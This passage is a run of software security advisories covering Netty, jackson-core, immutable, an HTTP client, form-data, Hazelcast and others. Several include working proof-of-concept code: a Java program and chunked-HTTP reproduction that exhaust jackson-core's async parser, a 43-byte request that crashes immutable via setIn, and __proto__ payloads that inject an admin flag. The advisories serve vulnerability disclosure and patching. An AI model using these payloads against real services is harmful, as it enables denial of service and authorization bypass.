override (integrity).** Inject or override fields the backend trusts (e.g. `is_admin`, `role`) — the primary demonstrated impact. - **Header injection** into the generated multipart part. Claims of guaranteed privilege escalation, authentication bypass, high confidentiality impact, and availability impact are application-dependent downstream consequences, not properties of `form-data` itself, and are not demonstrated by the PoC. ### Severity The demonstrated, library-attributable impact is integrity (field/header injection); there is no demonstrated confidentiality disclosure or availability impact in `form-data` itself, and exploitation requires the consuming app to feed untrusted data into field names/filenames. A Moderate (≈5.3, `I:L`) rating is also defensible given that precondition. ## Patch Fixed in **4.0.6**, **3.0.5**, and **2.5.6**. Users on older 0.x/1.x/2.x releases should upgrade to 2.5.6 or later. The fix escapes `\r`, `\n`, and `"` as `%0D`, `%0A`, and `%22` in field names and filenames, matching the WHATWG HTML `multipart/form-data` encoding algorithm that browsers implement. This neutralizes the injection while leaving ordinary field names (including `name[0]`, dotted, and unicode names) unchanged. ## Workaround Until upgrading, validate or reject field names/filenames that contain control characters before calling `append`: ```javascript if (/[\r\n]/.test(field)) { throw new Error('invalid field name'); } ``` ## Credit Reported by [yueyueL](https://github.com/yueyueL).
The `SpdyHttpDecoder` handler in Netty's SPDY-to-HTTP codec allocates a pooled `ByteBuf` when processing a client-initiated `SYN_STREAM` frame with `FLAG_FIN=0`, storing the partially-constructed `FullHttpRequest` in an internal map (`messageMap`) to accumulate subsequent `DATA` frames. When the remote peer sends an `RST_STREAM` for that stream, or when the accumulated content exceeds `maxContentLength`, the decoder removes the entry from the map but **never releases the pooled ByteBuf**, permanently leaking the allocated memory.
The `HAProxyMessageDecoder` in netty's `codec-haproxy` module performs protocol version detection by reading the 13th byte of the inbound stream as a signed Java `byte` and widening it to `int` without masking. When an attacker sends a PROXY protocol v2 binary prefix (`0D 0A 0D 0A 00 0D 0A 51 55 49 54 0A`) followed by version byte `0xFF`, the sign extension produces `-1`, which collides with the decoder's "need more data" sentinel value. This collision traps the decoder in a version-detection loop where it perpetually requests more data without consuming any bytes, never instantiates the `HeaderExtractor` that enforces header size limits, and causes `ByteToMessageDecoder` to accumulate all subsequent inbound bytes into an unbounded `cumulation` buffer until the JVM exhausts its direct memory allocation.
In Bouncy Castle for Java before 1.85, Lazy ASN.1 sequence forcing resets nesting-depth guard. This issue also affects Bouncy Castle for Java LTS before 2.73.12, and Bouncy Castle for Java FIPS (BC-FJA) before bc-fips 1.0.2.7 (1.0.X series), 2.0.2 (2.0.X series) and 2.1.3 (2.1.X series).
### Impact body-parser <1.20.3 is vulnerable to denial of service when url encoding is enabled. A malicious actor using a specially crafted payload could flood the server with a large number of requests, resulting in denial of service. ### Patches this issue is patched in 1.20.3 ### References
## Summary The fix released in jackson-core `2.18.6` and `2.21.1` for [GHSA-72hv-8253-57qq](https://github.com/FasterXML/jackson-core/security/advisories/GHSA-72hv-8253-57qq) (Number Length Constraint Bypass in Async Parser, published 2026-02-28) is incomplete. The fix commit `b0c428e6` (#1555) wired `validateIntegerLength` into a new `_setIntLength` helper and called it at every place where the integer portion of a number is *decided* (terminator byte arrived, `.` / `e/E` seen, end-of-feed inside a fully-buffered value). It did not call it on the much more attacker-relevant path: "ran out of input while still inside `MINOR_NUMBER_INTEGER_DIGITS`, return `NOT_AVAILABLE` to caller". As a result, an attacker who streams JSON to a non-blocking parser in many small chunks, without ever sending a terminator byte, can keep the parser inside `MINOR_NUMBER_INTEGER_DIGITS` indefinitely. `_textBuffer.expandCurrentSegment()` grows on every chunk, and `validateIntegerLength` is never invoked. The accumulator is only gated by `maxStringLength` (20 MiB default) — a **~20,000x amplification** of the documented `maxNumberLength` (1000 default). This is the same vulnerability class, same advisory wording ("Memory Exhaustion: Unbounded allocation in TextBuffer from excessively long numbers"), same parser class — just the streaming path the original fix didn't cover. The fix to the *fraction* path is correct (see `_finishFloatFraction` at line 1834-1837 of `NonBlockingUtf8JsonParserBase.java` in 2.18.6, where `_setFractLength(fractLen)` IS called before the `NOT_AVAILABLE` return); the equivalent call is missing from every integer-digit path. ## Affected versions Verified on the patched releases: - `com.fasterxml.jackson.core:jackson-core` **2.18.6** - `com.fasterxml.jackson.core:jackson-core` **2.21.1** Structurally identical code in `tools.jackson.core` 3.0.x / 3.1.x — same `NonBlockingUtf8JsonParserBase` class, same `_setIntLength` rollout, same NOT_AVAILABLE returns without validation. Not retested but presumed vulnerable. ## Affected code [`src/main/java/com/fasterxml/jackson/core/json/async/NonBlockingUtf8JsonParserBase.java`](https://github.com/FasterXML/jackson-core/blob/b0c428e6/src/main/java/com/fasterxml/jackson/core/json/async/NonBlockingUtf8JsonParserBase.java) in 2.18.6 / 2.21.1. ### Site 1 — `_startPositiveNumber(int ch)` lines 1320-1330: ```java if (outPtr >= outBuf.length) { // NOTE: must expand to ensure contents all in a single buffer (to keep // other parts of parsing simpler) outBuf = _textBuffer.expandCurrentSegment(); } outBuf[outPtr++] = (char) ch; if (++_inputPtr >= _inputEnd) { _minorState = MINOR_NUMBER_INTEGER_DIGITS; _textBuffer.setCurrentLength(outPtr); return _updateTokenToNA(); // <-- no validateIntegerLength(outPtr) } ``` ### Site 2 — `_finishNumberIntegralPart` lines 1691-1727: ```java protected JsonToken _finishNumberIntegralPart(char[] outBuf, int outPtr) throws IOException { int negMod = _numberNegative ? -1 : 0; while (true) { if (_inputPtr >= _inputEnd) { _minorState = MINOR_NUMBER_INTEGER_DIGITS; _textBuffer.setCurrentLength(outPtr); return _updateTokenToNA(); // <-- no validateIntegerLength(outPtr + negMod) } int ch = getByteFromBuffer(_inputPtr) & 0xFF; if (ch < INT_0) { if (ch == INT_PERIOD) { _setIntLength(outPtr+negMod); // <-- validated here ++_inputPtr; return _startFloat(outBuf, outPtr, ch); } break; } if (ch > INT_9) { if ((ch | 0x20) == INT_e) { _setIntLength(outPtr+negMod); // <-- validated here ++_inputPtr; return _startFloat(outBuf, outPtr, ch); } break; } ++_inputPtr; if (outPtr >= outBuf.length) { outBuf = _textBuffer.expandCurrentSegment(); } outBuf[outPtr++] = (char) ch; } _setIntLength(outPtr+negMod); // <-- validated here _textBuffer.setCurrentLength(outPtr); return _valueComplete(JsonToken.VALUE_NUMBER_INT); } ``` The pattern recurs at lines 1297, 1329, 1343, 1365, 1395, 1409, 1437, 1467, 1481, 1586, 1644, 1698 — every "ran out of input mid-integer" exit returns to the caller without validating the accumulator length. ### Compare with the fraction path that is correct `_finishFloatFraction` lines 1827-1838: ```java while (loop) { if (ch >= INT_0 && ch <= INT_9) { ++fractLen; if (outPtr >= outBuf.length) { outBuf = _textBuffer.expandCurrentSegment(); } outBuf[outPtr++] = (char) ch; if (_inputPtr >= _inputEnd) { _textBuffer.setCurrentLength(outPtr); _setFractLength(fractLen); // <-- VALIDATED return JsonToken.NOT_AVAILABLE; } ch = getNextSignedByteFromBuffer(); } ... } ``` ## Impact Reactive frameworks (Spring WebFlux / Reactor, Quarkus, Helidon, Vert.x JSON, anything wrapping `JsonFactory.createNonBlockingByteArrayParser()` or `createNonBlockingByteBufferParser()`) feed inbound HTTP/gRPC bytes to the async parser as they arrive. Operators who set `StreamReadConstraints.builder().maxNumberLength(N)` on the assumption that this caps memory per number value are not getting that guarantee in chunked-feed scenarios. The parser silently accumulates digits up to `maxStringLength` (20 MiB default) per concurrent connection. Multiply by attacker-controlled concurrency to OOM the JVM. The synchronous parsers (`UTF8StreamJsonParser`, `ReaderBasedJsonParser`) and the async parser on *complete* input are not affected — those paths go through `_setIntLength` or `ParserBase._reportTooLongIntegral` correctly. CWE-770 (Allocation of Resources Without Limits or Throttling), CVSS roughly the same as the parent advisory (Network / Low complexity / High availability impact). The parent advisory was scored CVSS 8.7 High. ## Proof of concept Standalone PoC, no Maven required: ``` mkdir poc && cd poc curl -sLo jackson-core-2.18.6.jar https://repo1.maven.org/maven2/com/fasterxml/jackson/core/jackson-core/2.18.6/jackson-core-2.18.6.jar cat > PoC.java <<'EOF' import com.fasterxml.jackson.core.*; import com.fasterxml.jackson.core.async.ByteArrayFeeder; public class PoC { public static void main(String[] args) throws Exception { StreamReadConstraints strict = StreamReadConstraints.builder() .maxNumberLength(1000) .build(); JsonFactory f = new JsonFactoryBuilder() .streamReadConstraints(strict) .build(); // Sanity: synchronous parser rejects 5000-digit int. try (JsonParser p = f.createParser("{\"v\":" + "1".repeat(5000) + "}")) { while (p.nextToken() != null) { /* drive */ } System.out.println("[-] BUG ABSENT: sync parser accepted"); return; } catch (Exception e) { System.out.println("[+] sync parser rejected 5000-digit int: " + e.getClass().getSimpleName()); } // Bug: async parser, chunked, no terminator. JsonParser ap = f.createNonBlockingByteArrayParser(); ByteArrayFeeder feeder = (ByteArrayFeeder) ap; byte[] preamble = "{\"v\":".getBytes("UTF-8"); feeder.feedInput(preamble, 0, preamble.length); while (ap.nextToken() != JsonToken.NOT_AVAILABLE) { /* drain */ } byte[] digits = new byte[16 * 1024]; for (int i = 0; i < digits.length; i++) digits[i] = (byte) ('1' + (i % 9)); for (int c = 0; c < 600; c++) { feeder.feedInput(digits, 0, digits.length); JsonToken t = ap.nextToken(); if (t != JsonToken.NOT_AVAILABLE) { System.out.println("[-] unexpected token: " + t); return; } } System.out.println("[+] BUG PRESENT: async parser accepted ~9.83 MB of digits with maxNumberLength=1000"); // Closing the number now finally triggers the validator. feeder.feedInput("}".getBytes("UTF-8"), 0, 1); feeder.endOfInput(); try { while (ap.nextToken() != null) { /* drive */ } } catch (Exception e) { System.out.println("[*] late rejection on close: " + e.getMessage().split("\n")[0]); } ap.close(); } } EOF javac -cp jackson-core-2.18.6.jar PoC.java java -Xmx256m -cp jackson-core-2.18.6.jar:. PoC ``` Observed output against `jackson-core-2.18.6`: ``` [+] sync parser rejected 5000-digit int: StreamConstraintsException [+] BUG PRESENT: async parser accepted ~9.83 MB of digits with maxNumberLength=1000 [*] late rejection on close: Number value length (9830400) exceeds the maximum allowed (1000, from `StreamReadConstraints.getMaxNumberLength()`) ``` Observed output against `jackson-core-2.21.1`: identical. The 9.83 MB figure is purely a function of the loop bound (600 chunks * 16 KiB). The actual ceiling is `maxStringLength = 20 MiB`. With the strict policy declared as `maxNumberLength = 1000`, the parser permits **9830x** more allocation than the policy allows. With `maxStringLength` left at the default 20 MiB, an attacker can drive a single connection to 40 MiB of `char[]` heap (chars are 2 bytes each) before the validator finally fires on terminator/`endOfInput()`. Multiply by concurrent connections. ## End-to-end reproduction through real HTTP Supplements the standalone PoC with a running Spring Boot WebFlux server, driving the same bug through the actual reactor-netty + Jackson2JsonDecoder streaming-decode path that production reactive endpoints use. Setup: - Spring Boot 3.3.5 starter-webflux (spring-webflux 6.1.14, reactor-netty 1.1.23) - jackson-databind 2.17.2, jackson-core overridden: - VULN run: `com.fasterxml.jackson.core:jackson-core:2.18.7` (latest published) - PATCHED run: `2.18.8-SNAPSHOT` built from the fix branch - JVM: OpenJDK 17.0.18 - Server `JsonFactory` configured with `StreamReadConstraints.builder().maxNumberLength(1000).build()` Endpoint under test exposes the `Flux<DataBuffer>` request body directly to `Jackson2JsonDecoder.decode(Flux, ResolvableType, ...)` so the parser sees one HTTP chunk per `feedInput` (the same pattern used for any `@RequestBody Flux<...>` / streaming JSON decoder in WebFlux). A raw-socket HTTP/1.1 chunked client streams `{"v":1` then 250 chunks of 200 digit bytes each (50,000 digits total) at 20ms intervals, then writes the closing `}`. VULN — jackson-core 2.18.7: ``` [VULN-SMALLCHUNK] streamed 50000 digits across 250 chunks; server still accepting [VULN-SMALLCHUNK] full POST sent (50000 digits). Response: HTTP/1.1 200 OK ERR after 6548ms cause=com.fasterxml.jackson.core.exc.StreamConstraintsException: Number value length (50000) exceeds the maximum allowed (1000, ...) ``` Server-side controller trace (250 DataBuffer arrivals elided): ``` [ctrl] DataBuffer arrived size=6 ms=39 <- '{"v":1' [ctrl] DataBuffer arrived size=200 ms=42 ... [ctrl] DataBuffer arrived size=199 ms=5993 [ctrl] DataBuffer arrived size=1 ms=6518 <- closing '}' [ctrl] ERR after 6548ms ... Number value length (50000) exceeds ... ``` Server held all 50,000 digit characters in `_textBuffer` for 6.5 seconds with `maxNumberLength=1000` declared. The validator never fires during streaming; it only fires at value-completion when the closing `}` arrives. PATCHED — jackson-core 2.18.8-SNAPSHOT (fix branch): ``` [PATCHED-SMALLCHUNK] connection broke after 2801 digits at chunk 14: [Errno 32] Broken pipe [PATCHED-SMALLCHUNK] DONE: digits_sent=2801 status=connection-broke-mid-stream ``` Server-side controller trace: ``` [ctrl] DataBuffer arrived size=6 ms=129 [ctrl] DataBuffer arrived size=200 ms=142 [ctrl] DataBuffer arrived size=200 ms=142 [ctrl] DataBuffer arrived size=200 ms=145 [ctrl] DataBuffer arrived size=200 ms=146 [ctrl] DataBuffer arrived size=200 ms=147 [ctrl] ERR after 155ms ... Number value length (1001) exceeds the maximum allowed (1000, ...) ``` Patched server raises `StreamConstraintsException` at 155ms after only 5 DataBuffers, exactly when the accumulated digit count crosses `maxNumberLength=1000`. The connection is reset mid-stream rather than the parser silently consuming the rest of the attacker's payload. Side-by-side: | Build | Chunks accepted before exception | Digits buffered | Time to detection | |---|---|---|---| | jackson-core 2.18.7 | 250 (full payload) | 50,000 (50x the configured limit) | 6,548ms — only at terminator | | 2.18.8-SNAPSHOT (fix branch) | 5 | 1,001 | 155ms — moment threshold crossed | Note on the default `@RequestBody Mono<JsonNode>` path: that path cannot distinguish the two builds because Spring's `decodeToMono` joins all DataBuffers into one before parsing. The exploitable shape is the streaming-decode path (`Flux<JsonNode>` / `@RequestBody Flux<...>` / WebSocket / SSE / any direct `decoder.decode(Flux<DataBuffer>, ...)` call), which is also what `Jackson2Tokenizer` uses for any streaming JSON deserialization in WebFlux and Quarkus reactive REST. ## Suggested fix Mirror the pattern already used in `_finishFloatFraction`. At every site that returns `_updateTokenToNA()` (or `JsonToken.NOT_AVAILABLE`) with `_minorState = MINOR_NUMBER_INTEGER_DIGITS`, call `_setIntLength(outPtr + negMod)` first. Concretely, the diff to `NonBlockingUtf8JsonParserBase.java` would be: ```diff protected JsonToken _finishNumberIntegralPart(char[] outBuf, int outPtr) throws IOException { int negMod = _numberNegative ? -1 : 0; while (true) { if (_inputPtr >= _inputEnd) { _minorState = MINOR_NUMBER_INTEGER_DIGITS; _textBuffer.setCurrentLength(outPtr); + _streamReadConstraints.validateIntegerLength(outPtr + negMod); return _updateTokenToNA(); } ``` Note: `_setIntLength` itself can't be used as-is because it also assigns `_intLength`, and `_intLength` must not be set until the integer is truly complete (subsequent fraction handling reads `_intLength`). The minimal fix is to call only the validator, as shown. Apply the same one-line insertion before each `return _updateTokenToNA();` that exits with `_minorState = MINOR_NUMBER_INTEGER_DIGITS`. The sites are listed above (12 lines total). Alternatively, a heavier refactor: also gate `_textBuffer.expandCurrentSegment()` calls inside the digit-accumulation loops on `outPtr < maxNumberLength` so that the validator fires at the moment the buffer would be enlarged past the limit, rather than waiting for the next chunk boundary. Either approach is sufficient. ## Credit Reported by `tonghuaroot` (`tonghuaroot@gmail.com`). Variant hunt against the Feb 2026 fix for GHSA-72hv-8253-57qq.
### Impact A Digest challenge that does not yield a usable nonce is treated as a Basic challenge. The client then answers it with `Authorization: Basic`, which carries the username and password base64 encoded and so recoverable by anyone who sees the request. Any of these is enough, sent by whoever writes the 401 or 407: ``` WWW-Authenticate: Digest realm="protected" WWW-Authenticate: Digest realm="protected", nonce="" ``` The challenge announces itself as Digest, so it passes the check that would otherwise reject a non-Digest challenge for a Digest realm. It then fails to produce a nonce, and the absence of a nonce is what selected Basic. A server offering plain `Basic` to a Digest realm gets nothing, so labelling the challenge Digest and leaving the nonce out is what makes the difference. This is reachable by anyone who can write the challenge: a malicious or compromised origin, a proxy, or an attacker on a plaintext hop. Digest exists precisely to keep the password off those hops. A server that stores only HA1, and anyone impersonating the real origin, does not otherwise learn the password itself, so the disclosure enables reuse against other services. Both the target and the proxy paths are affected, through `parseWWWAuthenticateHeader` and `parseProxyAuthenticateHeader`. ### Affected versions * 3.x: up to and including 3.0.12 * 2.x: up to and including 2.16.0 This is long-standing behaviour on both lines, not a recent regression. On 3.0.12 there is one additional way to reach it: a quoted parameter ending in an unescaped backslash, such as `realm="C:\"`, makes the closing quote read as escaped so the nonce is never found. That trigger is specific to 3.0.12. The downgrade it led to is fixed, but the nonce is still lost on such a challenge: every conformant reader treats the closing quote as escaped. The exchange now fails instead of falling back to Basic. ### Patches Fixed in 3.0.13 on the 3.x line and in 2.16.1 on the 2.x line. The scheme now comes from the challenge itself instead of being inferred from whether a nonce was found, so a Digest challenge stays Digest even when it cannot be read. With no nonce it produces no Authorization header at all, which fails the exchange rather than downgrading it. The 3.x fix also corrects quoted-pair handling so that a backslash before any character other than a quote or another backslash is kept as written, matching Apache HttpComponents. That repairs a 3.0.12 regression where an unescaped realm such as `DOMAIN\Users` was corrupted to `DOMAINUsers` and failed every digest comparison. This is a deliberate deviation from a strict reading of RFC 9110 Section 5.6.4, under which a backslash before any character is a quoted-pair. Reading it strictly is what corrupts the unescaped spelling that servers actually send, and the decoding is not reversible either way, so the client follows the same rule as Apache HttpComponents. ### Workarounds No configuration prevents this. Until you can upgrade, do not use Digest authentication against a server you do not control, and do not use it over plaintext HTTP. ### Details `Realm.Builder.parseWWWAuthenticateHeader` and `parseProxyAuthenticateHeader` selected the scheme with `isNonEmpty(nonce) ? AuthScheme.DIGEST : AuthScheme.BASIC`, so any challenge that produced no nonce became a Basic challenge and `Unauthorized401Interceptor` resent the request using `computeBasicAuthentication`.
## Summary `List#set`, `List#setSize`, `List#setIn`, `List#updateIn` (and the functional `set` / `setIn` / `updateIn`) mishandle an index or size in the range `[2 ** 30, 2 ** 31)`: - On an **empty** `List` the operation enters an **uncatchable infinite loop** (a tight CPU spin; a surrounding `try/catch` never regains control). Only killing the worker recovers it. - On a **populated** `List` (≥ 32 elements — i.e. any array of ≥ 32 items turned into a `List` by `fromJS`) the loop allocates without bound → heap exhaustion → the **process aborts** (`SIGABRT`, exit `134`, or kernel OOM-kill `137`). A real crash, not a recoverable error. The index may be a **numeric string**, so it can come straight from a request body, URL, or key-path. A single small unauthenticated request is enough. There is also a companion **silent data-corruption** issue in `setSize`: ```js List([1, 2, 3]).setSize(2 ** 31); // before fix => size 0 (silently cleared) List([1, 2, 3]).setSize(2 ** 32 + 5); // before fix => size 5 (huge value wraps to 5) ``` ## Impact Availability only. A reachable configuration is any endpoint that routes untrusted input into a `List` index or a `setIn`/`updateIn` key-path — which the extremely common `state = fromJS(body); state.setIn(userPath, value)` pattern does (config stores, document/collection editors, redux-immutable reducers, JSON-Patch endpoints, etc.). No confidentiality or integrity impact, no RCE. The companion `setSize` bug can silently corrupt application state (wrong size) without crashing. ## Reproduction (immutable 5.1.7) ```ts import { fromJS, List } from 'immutable'; // 1) Populated List: OOM -> process abort (SIGABRT, exit 134) within ~2s fromJS({ items: new Array(64).fill(0) }).setIn(['items', '1073741824'], 'x'); // 2) Empty List: hangs forever, uncatchable List().set(2 ** 30, 'x'); // 3) Silent truncation List([1, 2, 3]).setSize(2 ** 31); // => size 0 List([1, 2, 3]).setSize(2 ** 32 + 5); // => size 5 ``` A remote 43-byte HTTP request (`{"path":["items","1073741824"],"value":"x"}`) is sufficient to abort a worker that applies it via `state = state.setIn(path, value)`. Any index in `[2 ** 30, 2 ** 31)` works (`1073741824`, `2000000000`, …). An index in `[2 ** 31, 2 ** 32)` does not crash — it silently wraps (clearing the List) via the same root cause. ## Root cause `List` stores its values in a 32-wide trie (`SHIFT = 5`, so each level addresses 5 more bits) and uses **signed 32-bit bitwise arithmetic** throughout `setListBounds()` (`src/List.js`): 1. **Infinite loop (the hang / OOM).** The level-raising loop ```js while (newTailOffset >= 1 << (newLevel + SHIFT)) { newRoot = new VNode( newRoot && newRoot.array.length ? [newRoot] : [], owner ); newLevel += SHIFT; } ``` relies on `1 << (newLevel + SHIFT)`. A JavaScript shift count is taken **mod 32**, so once `newLevel + SHIFT` reaches `31` the term goes **negative** (`1 << 31 === -2147483648`) and at `32` wraps to `1` (`1 << 35 === 8`). The comparison then stays `true` forever and the loop never terminates. On a populated `List`, each iteration retains a new `VNode` (`[newRoot]`), so the heap fills and V8 aborts; on an empty `List` it spins on CPU without allocating. 2. **Silent wraparound (the `setSize` corruption).** The `begin |= 0` / `end |= 0` coercion (`ToInt32`) silently wraps large finite values (`(2 ** 31) | 0 === -2147483648`, `(2 ** 32 + 5) | 0 === 5`), producing a wrong resulting size instead of an error. The threshold is `2 ** 30`: that is the largest size for which `1 << (newLevel + SHIFT)` stays a valid positive 32-bit integer throughout the loops (`newLevel + SHIFT` stays ≤ 30). ## Remediation The fix is contained to `setListBounds()` in `src/List.js`: 1. **Validate up front, before the lossy `| 0` coercion.** Compute the intended origin and capacity in full precision and throw a clear, catchable `RangeError` when they exceed the addressable range (`MAX_LIST_SIZE = 2 ** 30`). `Infinity`/`NaN` are left to the existing `| 0 → 0` behaviour (so `setSize(Infinity)` stays `0` and `slice(0, Infinity)` still means "to the end"). 2. **Stop the shift from wrapping.** Replace `1 << exp` in the level-raising loops with a helper that uses the cheap bitwise shift while it is exact (`exp ≤ 30`, the common path including every `push`/`setSize`/`slice`) and falls back to the non-wrapping `2 ** exp` only for the rare deep trees reached when a negative origin (`unshift` / negative index) is normalized to a large positive capacity (`exp` can reach 35 there, where `1 << 35` would wrap to 8). This turns every hang, the misleading `"Maximum call stack size exceeded"`, the OOM/`SIGABRT`, and the silent `setSize` truncation into one descriptive `RangeError`, preserves all behaviour for sizes `< 2 ** 30`, and keeps the hot `push` path on the fast bitwise shift (the `2 ** exp` branch is never reached by non-negative operations). ### Is the new limit a breaking change? No working code is affected. A `List` could never actually hold `≥ 2 ** 30` values before — the attempt hung, crashed, or silently corrupted the size. The limit was already implicit in the 32-bit trie; the fix only makes it explicit and catchable, mirroring native JS arrays (`new Array(2 ** 32)` → `RangeError: Invalid array length`). The single observable behaviour change is that `setSize(hugeValue)`, which used to return a silently wrong size, now throws. `2 ** 30` ≈ 1.07 billion entries (~8 GB of pointers alone), far beyond any practical use. ## Mitigations (for users who cannot upgrade immediately) - Validate/clamp any externally supplied `List` index or `setIn`/`updateIn` key-path segment against a sane maximum before passing it to immutable. - Reject numeric path segments `≥ 2 ** 30`. - Run request handling in a worker that can be restarted, and cap the heap (`--max-old-space-size`) so an abort is contained.
### Impact Missing authorization checks in the [Predicates API](https://docs.hazelcast.com/hazelcast/5.7/query/predicate-overview) may allow a malicious client to execute arbitrary code on a Hazelcast member. ### Patches Enterprise customers should upgrade to a fixed version of Hazelcast Enterprise Edition: * 5.7.0 * 5.6.1 * 5.5.10 * 5.4.5 Customers with extended support contracts should contact Hazelcast Support for information on patches for older versions. Community Edition users should upgrade to version 5.7.0. ### Workarounds None - customers are advised to upgrade to a fixed version as soon as possible.
### Summary A remote user can trigger a Denial of Service (DoS) against a Netty HTTP/2 server by sending a flood of `CONTINUATION` frames. The server's lack of a limit on the number of `CONTINUATION` frames, combined with a bypass of existing size-based mitigations using zero-byte frames, allows an user to cause excessive CPU consumption with minimal bandwidth, rendering the server unresponsive. ### Details The vulnerability exists in Netty's `DefaultHttp2FrameReader`. When an HTTP/2 `HEADERS` frame is received without the `END_HEADERS` flag, the server expects one or more subsequent `CONTINUATION` frames. However, the implementation does not enforce a limit on the *count* of these `CONTINUATION` frames. The key issue is located in `codec-http2/src/main/java/io/netty/handler/codec/http2/DefaultHttp2FrameReader.java`. The `verifyContinuationFrame()` method checks for stream association but fails to implement a frame count limit. Any user can exploit this by sending a stream of `CONTINUATION` frames with a zero-byte payload. While Netty has a `maxHeaderListSize` protection to limit the total size of headers, this check is never triggered by zero-byte frames. The logic effectively evaluates to `maxHeaderListSize - 0 < currentSize`, which will not trigger the limit until a non-zero byte is added. As a result, the server is forced to process an unlimited number of frames, consuming a CPU thread and monopolizing the connection. `codec-http2/src/main/java/io/netty/handler/codec/http2/DefaultHttp2FrameReader.java` **`verifyContinuationFrame()` (lines 381-393)** — No frame count check: ```java private void verifyContinuationFrame() throws Http2Exception { verifyAssociatedWithAStream(); if (headersContinuation == null) { throw connectionError(PROTOCOL_ERROR, "..."); } if (streamId != headersContinuation.getStreamId()) { throw connectionError(PROTOCOL_ERROR, "..."); } // NO frame count limit! } ``` **`HeadersBlockBuilder.addFragment()` (lines 695-723)** — Byte limit bypassed by 0-byte frames: ```java // Line 710-711: This check NEVER fires when len=0 if (headersDecoder.configuration().maxHeaderListSizeGoAway() - len < headerBlock.readableBytes()) { headerSizeExceeded(); // 10240 - 0 < 1 => FALSE always } ``` When `len=0`: `maxGoAway - 0 < readableBytes` → `10240 < 1` → FALSE. The byte limit is never triggered. ### Impact This is a CPU-based Denial of Service (DoS). Any service using Netty's default HTTP/2 server implementation is impacted. An unauthenticated user can exhaust server CPU resources and block legitimate users, leading to service unavailability. The low bandwidth requirement for the attack makes it highly practical.
## Impact _What kind of vulnerability is it? Who is impacted?_ A Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs. ## Affected APIs | API | Notes | | --------------------------------------- | ----------------------------------------------------------- | | `mergeDeep(target, source)` | Iterates source keys via `ObjectSeq`, assigns `merged[key]` | | `mergeDeepWith(merger, target, source)` | Same code path | | `merge(target, source)` | Shallow variant, same assignment logic | | `Map.toJS()` | `object[k] = v` in `toObject()` with no `__proto__` guard | | `Map.toObject()` | Same `toObject()` implementation | | `Map.mergeDeep(source)` | When source is converted to plain object | ## Patches _Has the problem been patched? What versions should users upgrade to?_ | major version | patched version | | --- | --- | | 3.x | 3.8.3 | | 4.x | 4.3.7 | | 5.x | 5.1.5 | ## Workarounds _Is there a way for users to fix or remediate the vulnerability without upgrading?_ - [Validate user input](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#validate_user_input) - [Node.js flag --disable-proto](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#node.js_flag_--disable-proto) - [Lock down built-in objects](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#lock_down_built-in_objects) - [Avoid lookups on the prototype](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#avoid_lookups_on_the_prototype) - [Create JavaScript objects with null prototype](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#create_javascript_objects_with_null_prototype) ## Proof of Concept ### PoC 1 — mergeDeep privilege escalation ```javascript "use strict"; const { mergeDeep } = require("immutable"); // v5.1.4 // Simulates: app merges HTTP request body (JSON) into user profile const userProfile = { id: 1, name: "Alice", role: "user" }; const requestBody = JSON.parse( '{"name":"Eve","__proto__":{"role":"admin","admin":true}}', ); const merged = mergeDeep(userProfile, requestBody); console.log("merged.name:", merged.name); // Eve (updated correctly) console.log("merged.role:", merged.role); // user (own property wins) console.log("merged.admin:", merged.admin); // true ← INJECTED via __proto__! // Common security checks — both bypassed: const isAdminByFlag = (u) => u.admin === true; const isAdminByRole = (u) => u.role === "admin"; console.log("isAdminByFlag:", isAdminByFlag(merged)); // true ← BYPASSED! console.log("isAdminByRole:", isAdminByRole(merged)); // false (own role=user wins) // Stealthy: Object.keys() hides 'admin' console.log("Object.keys:", Object.keys(merged)); // ['id', 'name', 'role'] // But property lookup reveals it: console.log("merged.admin:", merged.admin); // true ``` ### PoC 2 — All affected APIs ```javascript "use strict"; const { mergeDeep, mergeDeepWith, merge, Map } = require("immutable"); const payload = JSON.parse('{"__proto__":{"admin":true,"role":"superadmin"}}'); // 1. mergeDeep const r1 = mergeDeep({ user: "alice" }, payload); console.log("mergeDeep admin:", r1.admin); // true // 2. mergeDeepWith const r2 = mergeDeepWith((a, b) => b, { user: "alice" }, payload); console.log("mergeDeepWith admin:", r2.admin); // true // 3. merge const r3 = merge({ user: "alice" }, payload); console.log("merge admin:", r3.admin); // true // 4. Map.toJS() with __proto__ key const m = Map({ user: "alice" }).set("__proto__", { admin: true }); const r4 = m.toJS(); console.log("toJS admin:", r4.admin); // true // 5. Map.toObject() with __proto__ key const m2 = Map({ user: "alice" }).set("__proto__", { admin: true }); const r5 = m2.toObject(); console.log("toObject admin:", r5.admin); // true // 6. Nested path const nested = JSON.parse('{"profile":{"__proto__":{"admin":true}}}'); const r6 = mergeDeep({ profile: { bio: "Hello" } }, nested); console.log("nested admin:", r6.profile.admin); // true // 7. Confirm NOT global console.log("({}).admin:", {}.admin); // undefined (global safe) ``` **Verified output against immutable@5.1.4:** ``` mergeDeep admin: true mergeDeepWith admin: true merge admin: true toJS admin: true toObject admin: true nested admin: true ({}).admin: undefined ← global Object.prototype NOT polluted ``` ## References _Are there any links users can visit to find out more?_ - [JavaScript prototype pollution](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution)
## Summary `Immutable.Map` and `Immutable.Set` keep keys that share the same 32-bit hash in a collision bucket that is scanned linearly. The string hash is public and deterministic, so an attacker who controls the **keys** inserted into a Map can craft many keys that all collide, degrading insertion and lookup from amortized O(1) to O(n) per operation — and O(n²) to build or read the whole set. A small, attacker-shaped payload can therefore consume disproportionate CPU and, on a single-threaded runtime such as Node.js, stall the event loop and deny service. ## Details The string hash uses the JVM-style polynomial `hashed = (31 * hashed + charCode) | 0`. Strings such as `"Aa"` and `"BB"` hash to the same value (`65*31+97 == 66*31+66 == 2112`), and concatenating such blocks yields `2^n` distinct strings sharing one hash (40 characters ⇒ >1,000,000 colliding keys). All such keys route to a single `HashCollisionNode`, whose `get`/`update` walk the entire bucket testing `is()`. There is no per-process salt, so the colliding set is fully precomputable from the open-source algorithm. ## Proof of concept Inserting N colliding keys (e.g. via `Immutable.Map(obj)` / `Immutable.fromJS(obj)`) is O(N²). Measured on one machine, ~8,000 colliding keys take ~0.7 s to build and ~0.6 s to read, scaling ×4 per doubling; ~16,000 keys exceed several 